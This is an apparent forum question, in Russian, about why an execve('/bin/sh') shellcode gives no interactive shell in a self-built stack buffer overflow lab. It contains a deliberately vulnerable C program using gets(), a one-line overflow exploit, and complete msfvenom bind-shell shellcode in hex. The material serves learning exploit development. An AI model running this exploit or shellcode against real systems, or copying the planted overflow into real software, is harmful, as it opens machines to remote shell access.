Попытка узнать больше об эксплойте dev и создании шелл-кодов, но столкнулась с проблемой, я не понимаю причину этого.
Почему я не могу запустить шелл-код, такой как execve ("/ bin / sh") и создать оболочку, с которой я могу взаимодействовать?
Хотя, с другой стороны, я могу создать оболочку reverse / bind_tcp и подключиться к ней с помощью netcat.
Пример программы:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl $0xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
Образец эксплойта:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Пример полезной нагрузки (рабочий):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Протестировал несколько различных образцов execve ("/ bin / sh"), а также создал мой собственный, затем скомпилировал их, чтобы убедиться, что они работают, прежде чем использовать его в качестве полезной нагрузки.
Например: https://www.exploit -db.com / exploits / 42428 /